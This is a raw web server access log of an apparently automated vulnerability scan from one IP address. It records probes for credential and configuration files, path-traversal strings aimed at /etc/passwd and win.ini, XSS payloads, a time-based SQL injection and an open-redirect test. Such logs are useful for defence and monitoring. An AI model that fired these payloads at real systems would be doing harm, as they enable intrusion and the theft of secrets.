[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hdstat.htm HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.git-credentials HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.html HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kvmlm2/index.dhtml?fname&language=../../../../../../../../../../etc/passwd%00.jpg&lname&sponsor=gdi&template=11 HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /access_tokens.db HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //icons/text.gif HTTP/1.1" 199
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.ftpconfig HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.dhtml?sponsor=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ghost/ HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/config.php HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/sign_in HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /installer/install.php HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.json?FNZ.html HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/repos/search?limit=1 HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_cluster/health?pretty HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/proxy/tcp HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fuel/login HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/kibana HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/profile HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /events/EventRsvp.aspx HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v4/projects HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /oauth/token HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/rk.php?id=28&site_id=s2&event1=banner&event2=click&event3=3+%2F+%5B28%5D+%5BBANNER_AREA_FOOTER2%5D+%D0%9F%D0%BE%D1%81%D0%B5%D1%82%D0%B8%D1%82%D0%B5+%D0%B2%D0%B2%D0%BE%D0%B4%D0%BD%D1%83%D1%8E+%D0%B1%D0%B5%D1%81%D0%BF%D0%BB%D0%B0%D1%82%D0%BD%D1%83%D1%8E+%D0%BB%D0%B5%D0%BA%D1%86%D0%B8%D1%8E+APTOS&goto=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MRcgi/MRentrancePage.pl HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/menu?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fuel/login HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/config.js HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?q=views/ajax/autocomplete/user/a HTTP/1.1" 3426
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/install.php HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Visitor/bin/WebStrings.srf?file&obj_name=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sitemanager.xml HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.git/config HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /res.php HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/sign_up HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //uploads HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cwindows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /global-protect/login.esp HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wiki HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /includes/.gitignore HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web/settings/settings.py HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /glpi/files/ HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/database.sqlite HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /exciter.php HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.git/ HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../WEB-INF/web.xml HTTP/1.1" 226
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/sign_up HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //deployment.production.ini HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fed.rpc.solo.io.GlooInstanceApi/ListClusterDetails HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.stage HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static../.git/config HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/9 HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sites/all/libraries/dompdf/www/setup.php HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.config/gcloud/credentials.db HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /-/snippets HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WebReport/ReportServer?op=fr_server&cmd=sc_getconnectioninfo HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Gemfile HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/errors.log HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Visitor/bin/WebStrings.srf?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini&obj_name=aaa HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftpsync.settings HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/ci.yaml HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /client_secrets.json HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sqlitemanager/ HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mobile/shop/lg/mispwapurl.php?LGD_OID=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.mailmap HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Org/service/Service.asmx/GetUserByEmployeeCode HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bbs/new.php?darkmode=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webclient/Login.xhtml HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.config/gcloud/configurations/config_default HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /docker-compose.staging.yml HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /debug/pprof/heap?debug=1 HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /geoserver/web/ HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_vti_pvt/service.cnf HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /goanywhere/auth/Login.xhtml HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/constant-contact-api-old/vendor/constantcontact/constantcontact/test/Json/Auth/get_access_token.json HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /go.mod HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /go/add-on/business-continuity/api/cruise_config HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /status.php HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mailman/listinfo HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.config/gcloud/access_tokens.db HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /go/admin/pipelines/create?group=defaultGroup HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //icons/folder.gif HTTP/1.1" 199
[09/Jan/2026:10:51:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927389433 HTTP/1.1" -
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/status.html HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugin/sms5/ajax.sms_emoticon.php?arr_ajax_msg=gnuboard<svg+onload=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jobs HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /google-api-private-key.json HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/frame.html?content=..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.golangci.yml HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /web/rest/v1/login/sessions HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /LICENSE.txt HTTP/1.1" 44494
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /goanywhere/auth/Login.xhtml HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /readme.txt HTTP/1.1" 4760
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /go/auth/login HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.json/FNZ.css HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /go/add-on/business-continuity/api/cipher.aes HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/ HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927401841 HTTP/1.1" -
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/rk.php?id=84&site_id=n1&event1=banner&event2=click&event3=1+%2F+%5B84%5D+%5BMOBILE_HOME%5D+Love+Card&goto=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //HyperGraphQL HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gradle/libs.versions.toml HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/kibana/ HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2rDlS/CVE-2023-47246.txt?true HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /geoserver/web/ HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dbconsole/ HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /oauth/token HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /blog-search?search=deneme%27%20AND%20(SELECT%201642%20FROM%20(SELECT(SLEEP(6)))Xppf)%20AND%20%27rszk%27=%27rszk HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /oauth2/authorize HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /google-services.json HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/api-browser/ HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /h2-console/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/mlogin?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /eps/api/resourceOperations/upload?token=A2D6EA455C8E248325AAAE850F6267E8 HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config.js HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /compress.php?file=../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /artemis/env HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/production.db HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /js../.git/config HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/agent/self HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /good_job/jobs HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.well-known/gpc.json HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /bic/ssoService/v1/applyCT HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../WEB-INF/web.xml HTTP/1.1" 226
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.json/FNZ.html HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /web/rest/v1/login/sessions HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.golangci.yaml HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /3/Typeahead/files?src=%2F&limit=10 HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /bic/ssoService/v1/applyCT HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webclient/Login.xhtml HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /FileZilla.xml HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/vault/auth HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/CI.yml HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /glpi/status.php HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /imc/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/ HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/img/icons/favicon-32x32.png HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/frame.A100.html?sidebar=..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/system/sessions HTTP/1.1" 196
